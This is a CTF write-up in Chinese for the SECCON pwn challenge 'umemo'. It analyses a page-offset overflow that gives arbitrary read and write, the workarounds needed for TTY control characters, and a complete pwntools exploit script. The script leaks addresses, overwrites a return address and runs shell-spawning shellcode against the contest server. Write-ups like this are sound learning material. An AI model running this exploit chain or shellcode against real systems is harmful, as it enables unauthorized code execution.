[SECCON] - Pwn - umemo: 影响用户态的内核态漏洞
0x00 漏洞点
用户态在 free_space 中读写的时候,使用 f_pos 来控制读写偏移,f_pos 有 0x3FFFFFFF 最大值限制
- 最开始想着 read/write 会不会有逻辑问题导致 overlap 的发生去修改 fixed_space 的 meta 区域的指针构造任意地址读写,但是看了很久代码确认其没有这样的逻辑问题
- 使用
offset = 0x3FFFFFFF-1-0x1000, size = n
这样的组合去读 free_space 看着像是会越界,但是不知道越界所读到的是什么,最开始是直接猜测会读到内核中一些对用户态没帮助的数据,但是实际上神奇的点就在这。不过在 user mode 题所给出的代码中完全看不出来具体的漏洞原因是什么,需要通过 kernel mode 题给出的源码中找到原因,当然如果随手试一试上面的那个边界条件来读东西就会发现有点端倪的... - 这里唯一要注意的一个东西就是,如果 data 为 NULL(一开始没去考虑这种情况),那么这个读循环是不会终止的,循环继续下去 f_pos 也会递增从而有可能超过之前的最大值限定,产生“非预期”行为
下一步就是使用 kernel mode 的代码查看
get_memo_ro
的实现,它把传进去的 pos 按页对齐后传给了__pgoff_to_memopage
- 这个函数是问题的关键。这个函数从一个二级页表结构中,取出 f_pos 所命中的页面。每一级页表都是一个 0x200 大小的指针表,只不过在初始情况下第一级页表中,只有第一项是有值的,其它都是 NULL,导致只要超出第一个页表去读写时都会返回 NULL,于是用户会读写不到任何东西(但是也不会报错)
- 一级页表的最后一项和第一项
- 存在一个问题,如果 f_pos 从
0x3FFFFFFF-1
开始读写,会拿到一个空的页表项,返回空指针;然后 f_pos 继续增长,此时会超过 0x3FFFFFFF,通过计算之后,一级页表的下表会变成 0 导致产生严重的 overlap 去读写 fixed_space 的 meta 指针区域
- meta 指针表,其中的指针和 libc 有固定偏移,可以泄露 libc 地址;通过写指针然后用 fixed_read 可以进一步泄露出栈地址
0x01 利用的坑
- 看起来可以任意地址读写之后就可以为所欲为了,直接读栈地址,写 rop 到栈上就搞定了,但是有一个巨大的坑,那就是远程交互是通过 TTY 处理再输入到程序的 STDIN 中的,这个过程部分特殊字符会被 TTY 处理产生别的效果。例如写指针要用到的
\x7f
对应的控制效果是DEL
,这会导致它本身和它前一个字符在输入到 STDIN 时消失,还有其他比如Ctrl+C
等会导致进程结束...尝试通过\x16
等字符也没有成功 escape,花了很久时间最后决定尝试绕掉\x7f
的坑; - 首先,任意地址读写的时候,由于读写的都是 libc 或者 栈地址,所以只控制 meta 指针的低 5 字节即可;
- 由于程序本身几乎没有可用 gadget,如果写 libc 地址,又要面临
\x7f
的问题,所以不能很顺利写 ROP 到栈上; 写栈上 main 函数返回地址的时候,由于需要使用 fixed_write 功能来写,不能自由控制写入的字节数量(固定为0x100),会导致终端的换行符被一并写入,覆盖掉高位,所以需要尝试把要写入的 5 字节放在 0x100 字节的末尾,不过这样就得从
target-(0x100-5)
的地方开始写,容易破坏其它东西,所以用了下面这个方法来劫持一个高位为0x7f
的指针,同时不破坏正常数据,唯一的要求就是返回地址之后一定距离内要有一个高位为\x7f
的指针;- 最开始发现,在这个位置能刚好满足 one_gadget 条件,但是劫持过去才发现 busybox 环境对 argv[0] 有要求,one_gadget 不起作用;
- 然后就开始漫长的走弯路。。。构造了好久 rtld_global。。。最后也没用;
- 折腾了一大通才发现,用户态程序开了 栈可执行(??????),在 buff 中写 shellcode 然后用上述方法劫持指针跳过去就搞定了。。。
0x02 其它
- 有一个没用上但是很神奇的思路,libc 地址最高字节有一定概率为
\x7e
,在这种条件下任意地址写时可以不用考虑\x7f
的限制从而写 libc 的任意地址(但是写不了栈),而且这个题目中进退出了连接不会断,而是会回到 login 界面,给了这种爆破很大的可能性,以至于让我一度以为这个是预期解法...
0x03 EXP
from pwn import *
import os
context.log_level = "debug"
context.arch = "amd64"
#p = process("./run.sh")
p = remote("ukqmemo.seccon.games", 6318)
def free_space():
p.sendlineafter(b"> ", b"2")
def free_read(offset:int, size:int):
p.sendlineafter(b"S> ", b"1")
p.sendlineafter(b"Offset: ", str(offset).encode())
p.sendlineafter(b"Size: ", str(size).encode())
def free_write(offset:int, size:int, data):
p.sendlineafter(b"S> ", b"2")
p.sendlineafter(b"Offset: ", str(offset).encode())
p.sendlineafter(b"Size: ", str(size).encode())
p.sendlineafter(b"Input: ", data)
def free_back():
p.sendlineafter(b"S> ", b"0")
def fixed_space():
p.sendlineafter(b"> ", b"1")
def fixed_read(idx):
p.sendlineafter(b"M> ", b"1")
p.sendlineafter(b"Index: ", str(idx).encode())
def fixed_write(idx, data):
p.sendlineafter(b"M> ", b"2")
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendlineafter(b"Input: ", data)
def fixed_back():
p.sendlineafter(b"M> ", b"0")
def escape(x):
return b''.join(
bytes([i])
if (i>=0x20 and i!=0x7f) or i==0 else
bytes([0x16, i])
for i in x)
def write_primitive(addr, value, no_back=False):
free_space()
payload = b"\x00\x00" + p64(addr)[:5]
free_write(0x3FFFFFFF-1-0x1000, len(payload), payload)
print(f"write {value.hex()} to addr({hex(addr)})")
fixed_space()
fixed_write(0, value)
if not no_back:
fixed_back()
def read_primitive(addr):
free_space()
payload = b"\x00\x00" + p64(addr)[:5]
free_write(0x3FFFFFFF-1-0x1000, len(payload), payload)
fixed_space()
fixed_read(0)
fixed_back()
def check_payload(payload):
cnt = 0
for i in payload:
if i in [0x3,0x4,0xa,0x11,0x13,0x14,0x15,0x18,0x19,0x1a,0x1c,0x7f]:
print("bad char:", cnt, hex(i))
return False
cnt += 1
return True
def exp():
_pow = 1
if _pow:
p.recvuntil(b"hashcash -mb26 ")
val = p.recvuntil(b"\n", drop=True)
res = os.popen(f"hashcash -mb26 {val.decode()}").read()
p.sendlineafter(b"hashcash token: \n", res.encode())
p.sendlineafter(b"buildroot login: ", b"ctf")
# leak mmap addr & libc addr
free_space()
free_read(0x3FFFFFFF-1-0x1000, 0x10)
p.recvuntil(b"Output: \x00\x00")
leak1 = u64(p.recv(8))
memo_base = leak1 - 0x100
libc_base = memo_base + 0x3000
environ = libc_base + 0x185160
print("leak1:", hex(leak1))
print("memo_base:", hex(memo_base))
print("libc_base:", hex(libc_base))
print("environ:", hex(environ))
# leak environ
tmp = b"\x00\x00" + p64(environ)[:5]
payload = tmp
print("payload1:", payload.hex())
free_write(0x3FFFFFFF-1-0x1000, len(payload), payload)
free_space()
free_read(0x3FFFFFFF-1-0x1000, 0x10)
free_back()
fixed_space()
fixed_read(0)
p.recvuntil(b"Output: ")
stack_leak = u64(p.recv(8))
print("stack_leak:", hex(stack_leak))
fixed_back()
# leak program base
free_space()
bin_leak_ptr = stack_leak+0xf0
tmp = b"\x00\x00" + p64(bin_leak_ptr)[:5]
payload = tmp
print("payload2:", payload.hex())
free_write(0x3FFFFFFF-1-0x1000, len(payload), payload)
fixed_space()
fixed_read(0)
p.recvuntil(b"Output: ")
bin_leak = u64(p.recv(8))
bin_base = bin_leak - 0x1240
print("bin_leak:", hex(bin_leak))
print("bin_base:", hex(bin_base))
fixed_back()
# gadgets
ret = bin_base + 0x1298
one_gadget = libc_base + 0x5eb99
# try rop
ret_addr = stack_leak - 0x200 + 0xd8
shellcode_addr = stack_leak - 0x580
payload = b"\x00"*((0x100-5)%8) + p64(ret) * (0xf8//8) +p64(shellcode_addr)[:5]
write_primitive(ret_addr+0xf8-(0x100-5), payload, True)
shellcode = b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
if check_payload(shellcode):
print("good shellcode")
else:
print("bad shellcode")
free_space()
free_write(0, len(shellcode), shellcode)
free_back()
print("shellcode_addr:", hex(shellcode_addr))
print("ret_gadget:", hex(ret))
p.interactive()
if __name__ == "__main__":
exp()